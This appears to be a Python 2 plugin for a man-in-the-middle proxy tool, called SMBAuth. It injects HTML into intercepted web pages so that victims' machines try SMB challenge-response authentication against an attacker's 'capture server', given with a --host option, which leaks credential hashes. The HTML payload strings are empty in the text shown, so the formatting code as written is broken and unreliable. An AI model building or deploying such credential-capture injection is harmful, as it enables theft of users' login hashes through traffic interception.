from plugins.plugin import Plugin from plugins.Inject import Inject class SMBAuth(Inject, Plugin): name = "SMBAuth" optname = "smbauth" desc = "Evoke SMB challenge-response auth attempts" def initialize(self, options): Inject.initialize(self, options) self.target_ip = options.host self.html_payload = self._get_data() print "[*] SMBAuth plugin online" def add_options(self, options): options.add_argument("--host", type=str, help="The ip address of your capture server") def _get_data(self): return ''\ ''\ '' % tuple([self.target_ip]*3)